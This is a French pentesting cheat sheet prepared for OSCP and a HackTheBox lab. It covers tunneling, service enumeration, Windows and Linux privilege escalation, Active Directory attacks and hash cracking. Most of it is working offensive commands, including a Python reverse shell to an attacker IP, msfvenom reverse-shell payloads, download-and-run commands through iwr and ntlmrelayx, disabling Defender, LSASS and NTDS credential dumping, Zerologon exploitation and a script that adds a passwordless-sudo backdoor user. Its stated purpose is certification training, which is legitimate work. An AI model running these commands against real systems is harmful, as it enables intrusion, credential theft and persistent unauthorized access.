Cette cheatsheet a été conçue pour le pack jeune pentesteur ambitieux qui comprend:

• OSCP/OSCP+
• DANTE (ProLab hackthebox)

⚠️ Cet article n'est pas magique (j'aimerai bien qu'il le soit 🧚). Mon objectif ici est de centraliser un maximum d'informations pour augmenter vos chances de réussite. Ce sont les notes que j'ai utilisé lors de mon passage (et je m'en sers toujours comme référence). ⚠️ Cet article n'est pas terminé (et ne le sera peut être jamais). Je vais le completer au fur et à mesure de mes découvertes. ℹ️ A ma connaissance, le relai et le double (triple ...) pivotage ne sont pas au programme de l'OSCP.

Quelques informations

Quelques détails concernant la nommenclature utilisé dans cette cheatsheet :

• l'adresse IP de l'attaquant (votre IP) est représentée par 133.7.133.7
• l'adresse IP de la victime est représenté par 42.42.42.42
• Les LANs victimes sont de la forme 42.42.42.42/24, 43.43.43.43/24...
• Les utilisateurs compromis sont de la forme john.doe1, john.doe2...
• Leurs mots de passe sont JohnDoe123!.
• Le domaine active directory par JOHNDOE.CORP
• L'adresse IP du contrôleur de domaine est 40.40.40.40

Tunneling

Tunnel SSH

• Partager un port local en remote (tunnel inversé)

Permet d’exposer le port local 4000 de l’attaquant sur le port 4000 d'une victime.

ssh -R 0.0.0.0:4000:localhost:4000 root@42.42.42.42

ℹ️ Utile pour recevoir des connexions d'un listener ncat sur sa machine depuis un LAN normalement inacessible. Par exemple: - nc -lvp 4000 sur le poste de l'attaquant - tunnel inversé vers une machine déjà compromise (42.42.42.42) et accessible sur le port 4000 - nc 42.42.42.42 4000 -e /bin/sh sur la nouvelle victime situé dans le LAN inaccessible.

• Avec sshuttle

sshuttle intercepte le trafic IP via iptables et le redirige à travers un tunnel SSH pour créer un pseudo-VPN sans nécessiter de droits root côté serveur.

L'avantage de SSHuttle est qu'il est très facile d'utilisation et ne necessite pas l'execution d'un agent sur la victime.

sshuttle -r john.doe1@42.42.42.42 43.43.43.43/24

⚠️ J'ai l'impression que sshuttle supporte mal l'UDP. Voir https://github.com/sshuttle/sshuttle/issues/698 pour plus d'informations. Je recommande néanmoins de favoriser TCP (par exemple en utilisant par exemple l'option dns-tcp dans bloodhound-python).

bloodhound-python -c all -u john.doe1 -p 'JohnDoe123!'  -ns 40.40.40.40 -d JOHNDOE.CORP --zip --dns-tcp

Tunnel Chisel

Chisel crée un tunnel TCP/UDP en utilisant une connexion WebSocket entre un client et un serveur, ce qui permet de faire transiter du trafic réseau encapsulé dans du HTTP/HTTPS.

• Serveur Chisel (chez l'attaquant)

chisel server --reverse --port 443 --socks5

• Client Chisel (chez la victime)

chisel.exe client 133.7.133.7:443 R:socks

Proxychains

• Configurer proxychain

nano /etc/proxychains4.conf
# A la fin du fichiers
socks5 127.0.0.1 9050

• Utiliser proxychain

proxychains netexec smb 42.42.42.42 -u john.doe1 -p JohnDoe123! -d JOHNDOE.CORP

• Outils compatibles - netexec (nxc) - evil-winrm - xfreerdp3 - ...

Tunnel Ligolo-NG

Ligolo-NG fonctionne via un TUN interface dédié, tandis que Chisel génère une redirection de flux au niveau applicatif (TCP/UDP).

Le gros avantage de Ligolo-ng est qu'il permet :

• de faire des doubles / triples / quadruples ... tunnels facilement.
• d'offrir de meilleurs performances

Tunnel simple

• Etape 1 : Configurer le serveur Ligolo (chez l'attaquant)

sudo ligolo-proxy -selfcert
# -- Dans un autre terminal
sudo ip tuntap add user sam mode tun ligolo
sudo ip link set ligolo up
# --
# ou directement depuis ligolo (conseillé)
(ligolo)> interface_create --name "ligolo_1"
# Récupérer le fingerprint du certificat
(ligolo)> certificate_fingerprint 

• Etape 2 : Lancer l'agent sur la victime

En reverse (la victime se connecte à l'attaquant)

# Chez la victime
ligolo-agent -connect 133.7.133.7:11601 -v -accept-fingerprint 77476DF007FCE0B5EA495DD29352A6B55D88C1EDEF13D440BA58B40A4EC43FB9

En bind (l'attaquant se connecte à la victime)

# Chez la victime
ligolo-agent -bind 127.0.0.1:4444
# Chez l'attaquant
(ligolo)> connect_agent --ip 42.42.42.42:4444

• Etape 3 : Configurer les routes (après connexion de l'agent)

(ligolo)> session # Choisir une session (l'agent à utilisé)
# ? Specify a session : 1 - sam@pentest-box - 127.0.0.1:60986 - 204747b32332
(ligolo)> tunnel_start --tun ligolo_1 # Choisir l'interface sur laquelle passer le traffic
(ligolo)> ifconfig # Afficher la configuration IP de l'agent (victime)
(ligolo)> interface_add_route --name ligolo_1 --route 42.42.42.42/24 # Ajouter une route vers le réseaux souhaités.
# ou en dehors de ligolo
sudo ip route add 42.42.42.42/24 dev ligolo_1

Double tunnel

https://docs.ligolo.ng/sample/double/

Etapes à réaliser après avoir mis en place un tunnel simple vers la victime n°1.

• Etape 1 : Configurer un listerner sur la victime n°1

# Chez l'attaquant
(ligolo)> listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:11601
(ligolo)> listener_list

• Etape 2 : Connecter la victime n°2 au listener de la victime n°1

# Sur la victime n°2 (Agent n°2), avec 42.42.42.42 = ip Agent n°1
ligolo-agent --connect 42.42.42.42:4444 -v -accept-fingerprint  1EEFDC887F967E470DF337DBE8A2F3B1D53FC3EDE0A25132C3081D33D45F4DB1

• Etape 3 : Configurer la nouvelle route

# Chez l'attaquant
(ligolo)> session # La nouvelle session apparu, on bascule dessus.
(ligolo)> interface_create --name "ligolo_2"
(ligolo)> tunnel_start --tun ligolo_2
(ligolo)> interface_add_route --name ligolo_2 --route 43.43.43.43/24

Tunnel Meterpreter

🚨 A ne pas utiliser lors de l'OSCP

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
exploit -j
execute -f cmd.exe -i -H

---

Enumerations

Enumeration des services

Nmap

• Scan TCP (fullport)

nmap -sV -A -p1-65535  42.42.42.42

• Scan UDP (100 ports)

nmap -sU -sV -F 42.42.42.42 

ℹ️ Je conseil de réaliser un scan fast (100 ports) pour commencer car les scans UDP sont peuvent être long.

Rustscan

Rustscan est une alternative à nmap developpé en Rust. Il est : - plus rapide - portable (ne necessite pas d'installation) - necessite aucun privilège

./rustscan.exe -a 10.10.102.148 -r 1-65535  -- -sC -sV -oN ./Rust_allport.scan

Enumeration WEB

# Case sensitive
ffuf -u http://42.42.42.42:8000/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# Not case sensitive
dirb http://42.42.42.42:8000

Génération wordlists / bruteforce

# Generation wordlists personnalisé
cewl https://42.42.42.42/page
# Bruteforce wordpress
wpscan --url https://site.com/ --passwords ./wordlists --usernames james

---

Protocoles

FTP (21)

• Connexion anonyme

ftp anonymous@42.42.42.42
# PASSWORD : anonymous (ou n'importe quoi d'autre)

• Utiliser le mode passif

(ftp-cli)> passive

ℹ️ Utile pour les serveurs FTP sur Windows, car le mode actif fonctionne ainsi : le client se connecte depuis un port éphémère (>1023) au port 21 du serveur pour les commandes, tandis que le serveur ouvre une connexion depuis son port 20 vers un port éphémère du client pour le transfert de données. Cependant ce mode pose souvent problème sur Windows car le serveur doit initier la connexion vers le client, ce qui est fréquemment bloqué par les pare-feu et les NAT, qui refusent les connexions entrantes non sollicitées vers les ports éphémères du client.

DNS (53)

# Avec 42.42.42.42 serveur DNS
dig axfr @42.42.42.42
dig axfr @42.42.42.42 JOHNDOE.CORP

RPC (111)

rpcinfo -p 42.42.42.42
rpcclient -U "" 42.42.42.42

MSRPC (135)

SNMP (161)

SNMP est un protocole réseau permettant de superviser et gérer des équipements (switches, routeurs, serveurs) en interrogeant ou modifiant leurs informations internes. Il fonctionne avec des community strings, sortes de mots de passe (ex. public, private) qui déterminent les droits d’accès en lecture ou écriture pour les requêtes SNMP. Les données SNMP sont organisées en OID, des identifiants numériques hiérarchiques (ex. 1.3.6.1.2.1.1.1) qui pointent chacun vers une information précise dans l’arborescence MIB de l’équipement.

Cible Linux

• parcourir et afficher toute l’arborescence des OID accessibles

snmpwalk -c public -v2c 42.42.42.42

• afficher uniquement les entrées du MIB NET-SNMP-EXTEND-MIB::nsExtendObjects

Il s'agit des scripts/commandes externes configurés sur l’équipement et leurs sorties.

sudo apt-get install snmp-mibs-downloader
# https://serverfault.com/questions/595440/nsextendoutput1line-fails-with-snmpd-on-debian-wheezy
snmpwalk -c public -v2c 42.42.42.42 NET-SNMP-EXTEND-MIB::nsExtendObjects

• Bruteforce de communauté

onesixtyone -c wordlist-common-snmp-community-strings.txt 42.42.42.42

⚠️ Le port peut apparaitre en filtré sur NMAP mais être ouvert, et l'application n'a pas répondu en UDP car il n'a pas reçu de communauté valide. Je conseil de lancer onesixtyone quoi qu'il arrive.

🔗 Lien vers la wordlist : wordlist-common-snmp-community-strings.txt

Cible Windows

# (sysDescr) Device configurations
snmpwalk -c public -v2c target.com .1.3.6.1.2.1.1.1.0
# (IpNetToMediaNetAddress) Network topology (routing tables, ARP caches)
snmpwalk -c public -v2c target.com .1.3.6.1.2.1.4.22.1.3
# (svUserEntry) Usernames (especially on Windows systems)
snmpwalk -c public -v2c target.com .1.3.6.1.4.1.77.1.2.25
# (hrSWRunID) Running services and processes
snmpwalk -c public -v2c target.com .1.3.6.1.2.1.25.4.2.1.2
# Software versions
snmpwalk -c public -v2c target.com .1.3.6.1.2.1.25.6.3.1.2

SMB (445)

• Obtenir des informations via une authentification Guest

lookupsid d'Impacket interroge une machine Windows via SMB pour énumérer des SID et les résoudre en noms d’utilisateurs, de groupes ou de domaines. Il utilise le service LSARPC à travers le pipe \pipe\lsarpc pour demander ces résolutions.

impacket-lookupsid guest@42.42.42.42 -no-pass 

MSSQL (1433)

• Connexion via impacket

impacket-mssqlclient 'zeus.corp/db_user:Password123!@192.168.221.158' -windows-auth

• Executions de commandes systèmes

EXEC sp_configure 'show advanced options', 1; 
RECONFIGURE; 
EXEC sp_configure 'xp_cmdshell', 1; 
RECONFIGURE; 
EXEC master..xp_cmdshell 'ls';

RDP (3389)

• Connexion avec un mot de passe

xfreerdp3 /u:john.doe1 /p:Johndoe123! /d:JOHNDOE.CORP /v:42.42.42.42 

• Connexion avec un hash (pass the hash)

xfreerdp3 /u:john.doe1 /pth:hash /d:JOHNDOE.CORP /v:42.42.42.42 

NFS

rpcinfo -p 42.42.42.42 # Permet de vérifier qu'on a du NFS
showmount -e 42.42.42.42 # Lister les paritions
mount 42.42.42.42:/mnt/path /mnt/path

---

Privesc Windows

Opérations générales

Génération de shell

• Reverse shell

msfvenom -p windows/x64/shell_reverse_tcp LHOST=133.7.133.7 LPORT=443 -f exe > reverse.exe 

• Bind shell

msfvenom -p windows/x64/shell_bind_tcp LPORT=4002 -f exe > reverse_intern.exe

Télécharger des ressources

iwr -uri http://192.168.45.207:8000/PrintSpoofer64.exe -OutFile PrintSpoofer64.exe # Rajouter -UseBasicParsing si problème.

Executer commande powershell

python exp.py 192.168.127.151 'powershell -c "iwr -uri http://192.168.45.207:8000/reverse.exe -OutFile reverse.exe"'

Décompresser une archive

tar xf fichier.zip

Exploitation de service

Lister les services

Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}

Lister des permissions d'un binaire

icacls "<path>"

Démarrer/Arreter un service

stop-service "<service name>"
start-service "<service name>"

Privilege locaux

SeImpersonatePrivilege

Le fonctionnement de SeImpersonatePrivilege repose sur la capacité d’un service ou d’un processus Windows à se faire passer temporairement pour un autre utilisateur afin d’effectuer une action en son nom. Son utilité est de permettre à des services légitimes, comme les services réseau, d’impression ou de gestion de fichiers, d’exécuter des opérations nécessitant les permissions du client (par exemple accéder à un partage réseau au nom de l’utilisateur) sans jamais manipuler directement ses identifiants sensibles.

Dans le cas où on a le SeImpersonatePrivilege privilège (whoami /priv) on peut utiliser les exploits de la famille des potatoes.

Les potatoes sont une famille d’exploits Windows qui, lorsqu’un utilisateur possède SeImpersonatePrivilege, forcent un service système (comme DCOM ou le Print Spooler) à s’authentifier en SYSTEM vers l’attaquant. L’attaquant récupère alors ce jeton SYSTEM et l’utilise pour s'élever localement en SYSTEM. Chaque variante (JuicyPotato, RoguePotato, PrintSpoofer…) utilise une source différente d’authentification forcée.

Exploit Potato	Service / Mécanisme exploité	Notes / Version Windows
RottenPotato	COM/DCOM + BITS	Anciennes versions Windows
RottenPotatoNG	COM/DCOM amélioré	Anciennes versions
JuicyPotato	COM/DCOM via CLSIDs	Windows 7–10 (patché)
JuicyPotatoNG	COM/DCOM contournement amélioré (moins dépendant des CLSIDs)	Fonctionne mieux sur Win10+ selon config
RoguePotato	Redirecteur + RPC/NTLM relay	Win10/Server 2019 (avant patch)
PrintSpoofer	Print Spooler (EfsRpc)	Win10/Server 2019 (avant patch)
GenericPotato	Vecteurs multiples : RPC, SMB, HTTP	Modularité selon contexte
GodPotato	Abuse NTLM reflection + OXID resolver via RPC	Fonctionne sur beaucoup de versions récentes si conditions réunies

./JuicyPotatoNG.exe -t * -p "C:\Users\chris\reverse.exe" 
./PrintSpoofer.exe -i -c cmd

MSSQL privesc

• Récupèrer le nom de l'utilisateur

SELECT current_user 

Retourne le principal de base de données (database principal) qui s’applique dans le contexte actuel. Il peut être : - un utilisateur SQL (CREATE USER foo) - un utilisateur Windows mappé à un login (CREATE USER foo FOR LOGIN domain\bar) - un rôle de base utilisé comme contexte

SELECT suser_name()

Retourne le login du serveur (server-level login). Correspond à l’identité d’authentification utilisée pour se connecter au serveur SQL. Il peut être : - un utilisateur SQL - un utilisateur Windows

Pour résumer : The current_User will return the name of the user in the database whereas SUSER_NAME() will return the user name on the server. stackoverflow

• Récupèrer la liste des serveurs auquel on peut acceder

SELECT srvname, isremote from sysservers;

• Executer une commande sur un serveur MSSQL distant

EXEC ('SQL STATEMENT') at [SRVNAME]

où SRVNAME est obtenu via la commande précédante.

• Exemple d'exploitation

Cette exemple exploite la configuration décrite par le schema ci-dessous. Dans cet exemple, user_1_srv_1 peut se connecter sur le serveur 2 en tant que user_1_srv_2. Or user_1_srv_2 peut se connecter sur le serveur 1 en tant que SA. On peut donc obtenir les privilèges SA sur le serveur 1 avec le compte non priviliégé user_1_srv_1.

EXEC ('EXEC (''SELECT suser_name()'') at [JOHNDOE\SQL1]') at [JOHNDOE\SQL2];

Post-Privesc

Desactiver Antivirus

Set-MpPreference -DisableRealtimeMonitoring $true

Session utilisateur

Si des utilisateurs disposant d'un niveau de privilèges ou d'accès plus interessants sont connectés / ont été connectés à une machine compromise, il peut être possible de les compromettre également sous certaines conditions.

nxc smb <ip> -u <username> -p <password> --loggedon-users 

LSASS

LSASS (Local Security Authority Subsystem Service) est un processus de Windows responsable de l'authentification des utilisateurs, de l'application des politiques de sécurité et de la gestion des informations d'identification (mots de passe, jetons d'accès) stockées en mémoire.

⚠️ Le dump de la mémoire du processus LSASS ne fonctionne que sur : - Windows server < 2025 - Windows < 11 Les versions égale ou superieur implement un système d'enclave qui protege l'accès à la mémoire du processus même en étant priviliégé.

❗Ce genre d'opération est très généralement detecté, même en RDP.

En RDP

1. Ouvrir le gestionnaire des taches.
2. Se rendre dans l'onglet détails
3. Selectionner lsass.exe
4. clique droit et créer un dump mémoire.

Une fois le fichier mémoire exfiltrer :

pypykatz lsa minidump lsass.DMP -p all

Secret LSA

Les "Secrets LSA" (Local Security Authority) sont des données sensibles comme des mots de passe de comptes de service et d'utilisateurs stockées dans le registre Windows (HKLM\SECURITY\Policy\Secrets).

Des mots de passes y sont stocker de manière chiffré, mais très facilement dechiffrable pour un utilisateur priviliégié. Ces mots de passes sont stocké pour

• les taches planifiés (scheduled_task)

Manuel

reg save HKLM\SAM SAM
reg save HKLM\Security SECURITY
reg save HKLM\SYSTEM SYSTEM
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL 

Automatique avec Netexec

Necessity Administrator local builtin (RID=500)

nxc smb <ip> -u john.doe -p 'John.Doe1!' --lsa

Scheduled_task

En RDP

1. Ouvrir l'application Planificateur de tache, puis créer une tache.

Selectionner le domaine en cliquant sur Emplacement, et l'utilisateur ciblé dans le champs nom de l'objet à selectionner.

---

Active Directory

Enumerations

Rapide

echo off
set arg1=%1
set arg2=%2
nslookup -q=SRV _._msdcs.%arg1% %arg2%
nslookup -q=SRV _ldap._tcp.%arg1% %arg2%
nslookup -q=SRV _msdcs.%arg1% %arg2%
nslookup -q=SRV _.dc._msdcs.%arg1% %arg2%
nslookup -q=SRV dc._msdcs.%arg1% %arg2%
nslookup -q=SRV _._sites.dc._msdcs.%arg1% %arg2%
nslookup -q=SRV _kerberos._tcp.Default-First-Site-Name._sites.dc._msdcs.%arg1% %arg2%
nslookup -q=SRV _kerberos._tcp.Default-First-Site-Name._sites.%arg1% %arg2%
nslookup -q=SRV _kerberos.tcp.dc._msdcs.%arg1% %arg2%
nslookup -q=SRV _kerberos._tcp.%arg1% %arg2%
nslookup -q=SRV _._tcp.dc._msdcs.%arg1% %arg2%
nslookup -q=SRV _ldap._tcp.Default-First-Site-Name._sites.%arg1% %arg2%
nslookup -q=SRV _ldap._tcp.Default-First-Site-Name._sites.dc._msdcs.%arg1% %arg2%
nslookup -q=SRV _ldap._tcp.dc._msdcs.%arg1% %arg2%
nslookup -q=SRV _ldap._tcp.pdc._msdcs.%arg1% %arg2%
nslookup -q=SRV _gc._tcp.%arg1% %arg2%

Bloodhound

./SharpHound.exe -c All --LdapUsername web_svc --LdapPassword Diamond1 --ZipFileName output.zip
bloodhound-python -c all -u Eric.Wallows -p 'EricLikesRunning800' -d zeus.corp -ns 40.40.40.40

Quelques filtres basiques (à adapter selon le besoin) :

• Filtrer les utilisateurs

MATCH (u:User)
WHERE u.description IS NOT NULL
RETURN u

NetExec

Lister les utilisateurs

nxc smb 42.42.42.42 -u john.doe1 -d JOHNDOE.CORP -p 'Johndoe123!' --users-export users.txt

Lister les descriptions

nxc ldap 42.42.42.42 -u john.doe1 -d JOHNDOE.CORP -p 'Johndoe123!' -M get-desc-users

Password policy

nxc smb 42.42.42.42 -u john.doe1 -d JOHNDOE.CORP -p 'Johndoe123!' --pass-pol

Authentification via kerberos

nxc smb ip -u john.doe -p 'John.Doe1' -k --kdcHost

⌚ Pour gagner du temps. L'authentification via Kerberos peut prendre du temps, de cette manière on évite d'avoir à chaque fois à redemander un TGT.

getTGT.py -dc-ip dc.domaine.com "domaine.com"/"john.doe":'John.doe1!'
export KRB5CCNAME=/workspace/johndoe.ccache
nxc smb ip --use-kcache 

Spray un mot de passe

nxc smb 42.42.42.42 -u john.doe1 -d JOHNDOE.CORP -p 'Johndoe123!' --continue-on-success

⚠️ Attention au lockout (regarder le password policy).

ZeroLogon

La vulnérabilité Zerologon (CVE-2020-1472) permet de contourner la sécurité et réinitialiser le mot de passe du contrôleur de domaine sans aucune information préalable en exploitant le protocole netlogon. L'algorithme de chiffrement utilisé par Netlogon est l'AES-CFB8 et possède une faille mathématique lorsqu'il est mal implémenté : si le vecteur d'initialisation (IV) est composé uniquement de zéros, il existe une chance sur 256 pour que le texte chiffré résultant soit lui aussi une suite de zéros. L'attaquant bombarde le serveur de tentatives d'authentification contenant des zéros jusqu'à ce que, par pure probabilité, la vérification passe sans qu'il connaisse la clé. Une fois "authentifié", il utilise cette même faille pour forcer le changement du mot de passe du serveur, prenant ainsi le contrôle sur la machine.

Condition d'exploitation :

• DC sous Windows Server de la versions 2008 R2 jusqu'à 2019
• Pas reçu le patch d'août 2020

Exploitation :

• Tester : https://raw.githubusercontent.com/SecuraBV/CVE-2020-1472/master/zerologon_tester.py
• Exploiter : https://raw.githubusercontent.com/Sq00ky/Zero-Logon-Exploit/master/zeroLogon-NullPass.py

python zerologon2.py DC-NAME dc-ip
impacket-secretsdump -just-dc -no-pass 'DC-NAME$'@'dc-ip'

PKI

certipy find -stdout -enabled -vulnerable -k -dc-ip "42.42.42.42" -target dc.domaine.com

Affiche uniquement les certificats vulnérable.

certipy find -stdout -enabled -k -dc-ip "42.42.42.42" -target dc.domaine.com

Affiche tout les certificats.

Relay et coercion

Capturer authentification NetNTLM

On peut forcer une authentification vers Responder de differentes manières - Via SSRF - Via MSSQL (par Injection SQL ou accès direct) - Via la lecture d'un document PDF - Coerce

sudo responder -I tun0

• SSRF

Il suffit de forcer le serveur Web à emettre une requête HTTP vers votre IP.

• MSSQL

nxc mssql 192.168.221.158 -u "db_user" -p 'Password123!'  -d zeus.corp  -q "exec master.dbo.xp_dirtree '\\\\192.168.45.171\\any\\thing'"
sudo rm /usr/share/responder/Responder.db

Coercion

nxc smb 192.168.141.76 -M coerce_plus
nxc smb 192.168.141.76 -M coerce_plus -o LISTENER=10.100.152.102

Relayer NetNTLM

• Shell interractif (SMB, LDAP,MSSQL) Attention à bien desactiver les protocoles dans responder

impacket-ntlmrelayx -t smb://192.168.221.158 -i -smb2support
impacket-ntlmrelayx -t ldap://192.168.221.158 -i -smb2support
impacket-ntlmrelayx -t mssql://192.168.221.158 -i -smb2support

• Executer commande

impacket-ntlmrelayx -t 192.168.221.159 -c 'powershell -Command "iwr -uri http://192.168.45.171:8000/reverse.exe -OutFile C:\Users\Public\reverse.exe -UseBasicParsing"' -smb2support --no-http-server

Relay kerberos

DACL

ForceChangePassword

pth-net rpc password "john.doe2" -U "JOHNDOE.CORP"/'john.doe1$%ffffffffffffffffffffffffffffffff:2dfcebbe9f5f4cb3bf98032887b3d7b6' -S "40.40.40.40"

GenericAll sur un groupe

Exemple où john.doe1 a un genericall sur le groupe Domain Admin. On cherche à ajouter l'utilisateur john.doe2 au groupe Domain Admin.

En utilisant LDAP

• Etape 1 Récupérer le distinguishedName des deux objets (l'utilisateur et le groupe).

ldeep ldap -d "JOHNDOE.CORP" -s "ldap://40.40.40.40" -u "john.doe1" -p "Johndoe123!" search '(sAMAccountName=john.doe2)' distinguishedName # Utilisateur john.doe2
# CN=JOHN.DOE2,CN=USERS,DC=JOHNDOE,DC=CORP
ldeep ldap -d "JOHNDOE.CORP" -s "ldap://40.40.40.40" -u "john.doe1" -p "Johndoe123!" search '(sAMAccountName=Domain Admins)' distinguishedName # Groupe DA
# CN=ADMINISTRATOR,CN=USERS,DC=JOHNDOE,DC=CORP

• Etape 2 Ajouter l'utilisateur au groupe.

ldeep ldap -d "JOHNDOE.CORP" -s "40.40.40.40" -u "john.doe1" -p "Johndoe123!" add_to_group "CN=JOHN.DOE2,CN=USERS,DC=JOHNDOE,DC=CORP" "CN=ADMINISTRATOR,CN=USERS,DC=JOHNDOE,DC=CORP" 

En commande shell

net group "Domain Admins" john.doe2 /add /domain

Ticket

Les tickets Kerberos sont des jetons numériques utilisés pour prouver l’identité d’un utilisateur ou d’un service auprès d’un autre service, permettant une authentification sécurisée sans renvoyer le mot de passe à chaque fois. Le TGT sert à obtenir d’autres tickets pour accéder à différents services.

Terme	Nom complet	À quoi ça sert ?	Qui l’émet ?
TGT	Ticket Granting Ticket	Prouver votre identité au KDC et demander d’autres tickets	AS (Authentication Service) du KDC
TGS	Ticket Granting Service Ticket	Accéder à un service précis (CIFS, LDAP, HTTP…)	TGS (Ticket Granting Service) du KDC

Obtenir un TGT

• Avec Rubeus

./Rubeus.exe asktgt /user:john.doe1 /password:'Ohohoh123!' /domain:JOHNDOE.CORP /outfile:ticket.tgt # Récupération d'un TGT

• Avec Impackets

impacket-getTGT 'JOHNDOE.CORP/john.doe1:Johndoe123!'

Resource-Based constrained delegation

Scenario : Demande un ticket TGS pour accéder à CIFS sur dc.johndoe.corp en tant que DC$ (compte machine du DC) en utilisant le ticket TGT ticket.tgt obtenu à partir des credentials de blake. blake a le privilège AllowedToDelegate sur le compte machine de DC.

• Obtention d'un ticket (au format kirbi) et utilisation direct de ce ticket dans le contexte du terminal powershell. Option /ptt : injecte le ticket obtenu directement dans la session en cours. Les tickets peuvent être visualiser avec la commande klist.

./Rubeus.exe s4u /ticket:ticket.tgt /domain:johndoe.corp /impersonateuser:DC$  /msdsspn:"cifs/dc.johndoe.corp" /altservice:cifs,ldap /ptt
klist
# Puis utilisation de mimikatz pour interragir avec le ticket

• Obtention d'un ticket au format kirbi. Conversion de celui-ci au format ccache pour qu'il puisse être utilisé avec netexec sur la machine de l'attaquant.

./Rubeus.exe s4u /ticket:ticket.tgt /domain:johndoe.corp /impersonateuser:DC$  /msdsspn:"cifs/dc.johndoe.corp" /altservice:cifs,ldap /outfile:ticket
# Exportation du ticket sur le post de l'attaquant
impacket-ticketConverter ticket.kirbi ticket.ccache # Conversion du ticket
export KRB5CCNAME=/home/sam/lab/zephyr/ticket.tgs
nxc ldap 192.168.110.55 --use-kcache 
impacket-secretsdump -k -no-pass -outputfile 'dcsync' -dc-ip "192.168.110.55" @"dc.johndoe.corp"

Post exploitation

Dump NTDS.dit

ntds.dit est la base de données principale de Microsoft Active Directory, contenant les comptes utilisateurs, mots de passe hachés et autres informations de sécurité du domaine.

Le fichier ne peut pas être copié directement, même en étant Administrateur, car il est verrouillé par le service Active Directory qui l'utilise, ce qui empêche tout accès exclusif au fichier.

vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\ntds\ntds.dit C:\ntds.dit

---

Privesc Linux

Enumération - LinPEAS

L'outil de détéction d'escalade de privilège par exellence.

https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS

Monitorer un processus

ℹ️ Ne necessite pas d'être root

https://github.com/DominicBreuker/pspy

Reverse Shell interactif

# Reverse shell one-line Python
python -c 'import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("133.7.133.7",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
# Obtenir l'interactivité du shell
python3 -c 'import pty; pty.spawn("/bin/bash")'

Création d'un utilisateur root

#!/bin/bash
useradd -m -s /bin/bash ohohoh
echo 'ohohoh:ohohoh' | chpasswd
usermod -aG sudo ohohoh && echo 'ohohoh ALL=(ALL) NOPASSWD:ALL' > /etc/sudoers.d/ohohoh && chmod 440 /etc/sudoers.d/ohohoh
echo '[-] YOU GOT IT!' > /tmp/check
echo '[-] YOU GOT IT!' > check

---

Cracking de hash

NTLM

hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt --force

ℹ️ Les hashs NTLM peuvent être directement utilisés (on parle d'attaque pass the hash).

NetNTLM

C'est une réponse cryptographique temporaire, calculée lors d’une authentification via réseau (SMB, HTTP, LDAP, …). Il s'agit du type de hash généralement obtenu via responder.

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

ℹ️ Les hashs NetNTLM peuvent également être relayer vers d'autres services sous certaines conditions, ce qui évite d'avoir à les cracker.

Kerberoasting

Le Kerberoasting est une attaque dans les environements Active Directory dans laquelle un attaquant demande des tickets de service Kerberos (TGS) pour un compte de service afin d’en extraire la partie chiffrée avec le mot de passe du compte. Comme ce chiffrement utilise le hash du mot de passe du service, l’attaquant peut ensuite tenter de le bruteforcer hors-ligne.

🔗 Des explications plus détaillées sont disponibles sur www.vaadata.com

impacket-GetUserSPNs -dc-ip 40.40.40.40 'JOHNDOE.CORP/john.doe1' -request-user johndoe2 -outputfile hashes.kerberoast
hashcat -m 13100 -a 0 hashes.kerberoast /usr/share/wordlists/rockyou.txt --force

AS_REP Roasting

ASREPRoasting est une attaque dans les environements Active Directory qui tire parti d’un mauvais paramétrage des comptes utilisateurs : la préauthentification Kerberos n’est pas obligatoire. Dans cette configuration, n’importe quel attaquant peut envoyer une requête AS_REQ au KDC en se faisant passer pour l’un de ces utilisateurs et obtenir en retour un message AS_REP, qui pourra ensuite être bruteforcer hors ligne.

impacket-getNPUsers -dc-ip 40.40.40.40 'JOHNDOE.CORP/john.doe1' -request -format hashcat -outputfile hashes.kerberoast
hashcat -m 18200 -a 0 hashes.kerberoast /usr/share/wordlists/rockyou.txt --force

ZIP protégé

zip2john encrypted-zip.zip > encrypted-zip.john.txt 
john –-wordlist=/usr/share/wordlists/rockyou.txt encrypted-zip.john.txt 

---

MISC

Récupérer des métadonnées

exiftool
exiftool *.pdf |grep Author

Python venv

python3 -m venv .venv
.venv/bin/pip install -r requirements.txt
.venv/bin/python git_dumper.py http://192.168.127.144/ crystal